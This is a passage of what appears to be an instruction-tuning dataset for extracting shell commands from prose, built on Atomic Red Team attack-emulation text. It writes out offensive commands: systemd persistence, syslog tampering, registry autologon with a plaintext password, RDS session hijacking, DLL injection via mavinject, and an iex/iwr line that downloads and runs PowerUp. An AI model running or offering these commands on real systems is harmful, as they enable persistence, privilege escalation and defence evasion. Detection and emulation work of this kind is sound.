    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This operation removes a user from Azure AD, potentially disrupting legitimate access, and requires executing: az login\n$userprincipalname = \"#{userprincipalname}\"\naz ad user delete --id $userprincipalname; For creating and activating a Systemd service, execute this multi-step command: echo \"[Unit]\" > #{systemd_service_path}/#{systemd_service_file}\necho \"Description=Atomic Red Team Systemd Service\" >> #{systemd_service_path}/#{systemd_service_file}\necho \"\" >> #{systemd_service_path}/#{systemd_service_file}\necho \"[Service]\" >> #{systemd_service_path}/#{systemd_service_file}\necho \"Type=simple\"\necho \"ExecStart=#{execstart_action}\" >> #{systemd_service_path}/#{systemd_service_file}\necho \"ExecStartPre=#{execstartpre_action}\" >> #{systemd_service_path}/#{systemd_service_file}\necho \"ExecStartPost=#{execstartpost_action}\" >> #{systemd_service_path}/#{systemd_service_file}\necho \"ExecReload=#{execreload_action}\" >> #{systemd_service_path}/#{systemd_service_file}\necho \"ExecStop=#{execstop_action}\" >> #{systemd_service_path}/#{systemd_service_file}\necho \"ExecStopPost=#{execstoppost_action}\" >> #{systemd_service_path}/#{systemd_service_file}\necho \"\" >> #{systemd_service_path}/#{systemd_service_file}\necho \"[Install]\" >> #{systemd_service_path}/#{systemd_service_file}\necho \"WantedBy=default.target\" >> #{systemd_service_path}/#{systemd_service_file}\nsystemctl daemon-reload\nsystemctl enable #{systemd_service_file}\nsystemctl start #{systemd_service_file}",
    "output": "{\"command_list\": [\"az login\\n$userprincipalname = \\\"#{userprincipalname}\\\"\\naz ad user delete --id $userprincipalname\", \"echo \\\"[Unit]\\\" > #{systemd_service_path}/#{systemd_service_file}\\necho \\\"Description=Atomic Red Team Systemd Service\\\" >> #{systemd_service_path}/#{systemd_service_file}\\necho \\\"\\\" >> #{systemd_service_path}/#{systemd_service_file}\\necho \\\"[Service]\\\" >> #{systemd_service_path}/#{systemd_service_file}\\necho \\\"Type=simple\\\"\\necho \\\"ExecStart=#{execstart_action}\\\" >> #{systemd_service_path}/#{systemd_service_file}\\necho \\\"ExecStartPre=#{execstartpre_action}\\\" >> #{systemd_service_path}/#{systemd_service_file}\\necho \\\"ExecStartPost=#{execstartpost_action}\\\" >> #{systemd_service_path}/#{systemd_service_file}\\necho \\\"ExecReload=#{execreload_action}\\\" >> #{systemd_service_path}/#{systemd_service_file}\\necho \\\"ExecStop=#{execstop_action}\\\" >> #{systemd_service_path}/#{systemd_service_file}\\necho \\\"ExecStopPost=#{execstoppost_action}\\\" >> #{systemd_service_path}/#{systemd_service_file}\\necho \\\"\\\" >> #{systemd_service_path}/#{systemd_service_file}\\necho \\\"[Install]\\\" >> #{systemd_service_path}/#{systemd_service_file}\\necho \\\"WantedBy=default.target\\\" >> #{systemd_service_path}/#{systemd_service_file}\\nsystemctl daemon-reload\\nsystemctl enable #{systemd_service_file}\\nsystemctl start #{systemd_service_file}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The syslog configuration can be modified by executing this command:\nif [ -f \"/etc/#{syslog_config_file_name}\" ];\nthen sed -i '$ a #art_test_1562_006_2' /etc/#{syslog_config_file_name}\nfi\nif [ -f \"/etc/#{rsyslog_config_file_name}\" ];\nthen sed -i '$ a #art_test_1562_006_2' /etc/#{rsyslog_config_file_name}\nfi\nif [ -f \"/etc/syslog-ng/#{syslog_ng_config_file_name}\" ];\nthen sed -i '$ a #art_test_1562_006_2' /etc/syslog-ng/#{syslog_ng_config_file_name}\nfi; This emulates changes to the syslog configuration with the command:\nif [ -f \"/etc/#{syslog_config_file_name}\" ];\nthen echo '#art_test_1562_006_2' >> /etc/#{syslog_config_file_name}\nfi\n",
    "output": "{\"command_list\": [\"if [ -f \\\"/etc/#{syslog_config_file_name}\\\" ];\\nthen sed -i '$ a #art_test_1562_006_2' /etc/#{syslog_config_file_name}\\nfi\\nif [ -f \\\"/etc/#{rsyslog_config_file_name}\\\" ];\\nthen sed -i '$ a #art_test_1562_006_2' /etc/#{rsyslog_config_file_name}\\nfi\\nif [ -f \\\"/etc/syslog-ng/#{syslog_ng_config_file_name}\\\" ];\\nthen sed -i '$ a #art_test_1562_006_2' /etc/syslog-ng/#{syslog_ng_config_file_name}\\nfi\\n\", \"if [ -f \\\"/etc/#{syslog_config_file_name}\\\" ];\\nthen echo '#art_test_1562_006_2' >> /etc/#{syslog_config_file_name}\\nfi\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To enable automatic logon with LockBit Black, use the following registry commands: reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v AutoAdminLogon /t REG_DWORD /d 1 /f\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v DefaultUserName /t REG_SZ /d Administrator /f\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v DefaultDomainName /t REG_SZ /d contoso.com /f\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v DefaultPassword /t REG_SZ /d password1 /f; The Privacy Settings Experience can be disabled by executing this registry modification: New-ItemProperty \"HKCU:\\Software\\Policies\\Microsoft\\Windows\\OOBE\" -Name DisablePrivacyExperience -PropertyType DWord -Value 1 -Force",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" /v AutoAdminLogon /t REG_DWORD /d 1 /f\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" /v DefaultUserName /t REG_SZ /d Administrator /f\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" /v DefaultDomainName /t REG_SZ /d contoso.com /f\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" /v DefaultPassword /t REG_SZ /d password1 /f\\n\", \"New-ItemProperty \\\"HKCU:\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\OOBE\\\" -Name DisablePrivacyExperience -PropertyType DWord -Value 1 -Force\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An attacker might utilize the mktemp utility to generate temporary script files in the /tmp directory, using the following commands: TMPFILE=$(mktemp)\necho \"id\" > $TMPFILE\nbash $TMPFILE\n. This sequence creates a temp file, writes the 'id' command into it, and executes it via bash.; For reconnaissance purposes, the shell type can be discovered with these commands: echo $0\nif $(env |grep \"SHELL\" >/dev/null); then env |grep \"SHELL\"; fi\nif $(printenv SHELL >/dev/null); then printenv SHELL; fi\n",
    "output": "{\"command_list\": [\"TMPFILE=$(mktemp)\\necho \\\"id\\\" > $TMPFILE\\nbash $TMPFILE\\n\", \"echo $0\\nif $(env |grep \\\"SHELL\\\" >/dev/null); then env |grep \\\"SHELL\\\"; fi\\nif $(printenv SHELL >/dev/null); then printenv SHELL; fi\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For systems without a compatible TPM, BitLocker can still be enabled with the command below, but a password will be required: reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v EnableBDEWithNoTPM /t REG_DWORD /d 1 /f; For enabling TPM-based encryption with Bitlocker, execute this registry modification: reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v UseTPM /t REG_DWORD /d 2 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\FVE\\\" /v EnableBDEWithNoTPM /t REG_DWORD /d 1 /f\\n\", \"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\FVE\\\" /v UseTPM /t REG_DWORD /d 2 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To execute a command and redirect its output to a local Admin Share, which is commonly used in post-exploitation frameworks, run the following command: cmd.exe /Q /c #{command_to_execute} 1> \\\\127.0.0.1\\ADMIN$\\#{output_file} 2>&1\n; The process of transparently hijacking RDS and RemoteApp sessions involves running these commands: query user\nsc.exe create sesshijack binpath= \"cmd.exe /k tscon #{Session_ID} /dest:#{Destination_ID}\"\nnet start sesshijack",
    "output": "{\"command_list\": [\"cmd.exe /Q /c #{command_to_execute} 1> \\\\\\\\127.0.0.1\\\\ADMIN$\\\\#{output_file} 2>&1\\n\", \"query user\\nsc.exe create sesshijack binpath= \\\"cmd.exe /k tscon #{Session_ID} /dest:#{Destination_ID}\\\"\\nnet start sesshijack\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To inject an arbitrary DLL into a running process identified by its process ID on Windows 10, use the following command: mavinject.exe #{process_id} /INJECTRUNNING \"#{dll_payload}\"\n; To execute an arbitrary DLL, which requires Windows 8/2012 or later, use the following command: C:\\Windows\\SysWow64\\Register-CimProvider.exe -Path \"#{dll_payload}\"\n",
    "output": "{\"command_list\": [\"mavinject.exe #{process_id} /INJECTRUNNING \\\"#{dll_payload}\\\"\\n\", \"C:\\\\Windows\\\\SysWow64\\\\Register-CimProvider.exe -Path \\\"#{dll_payload}\\\"\\n\"]}"
  },
  {
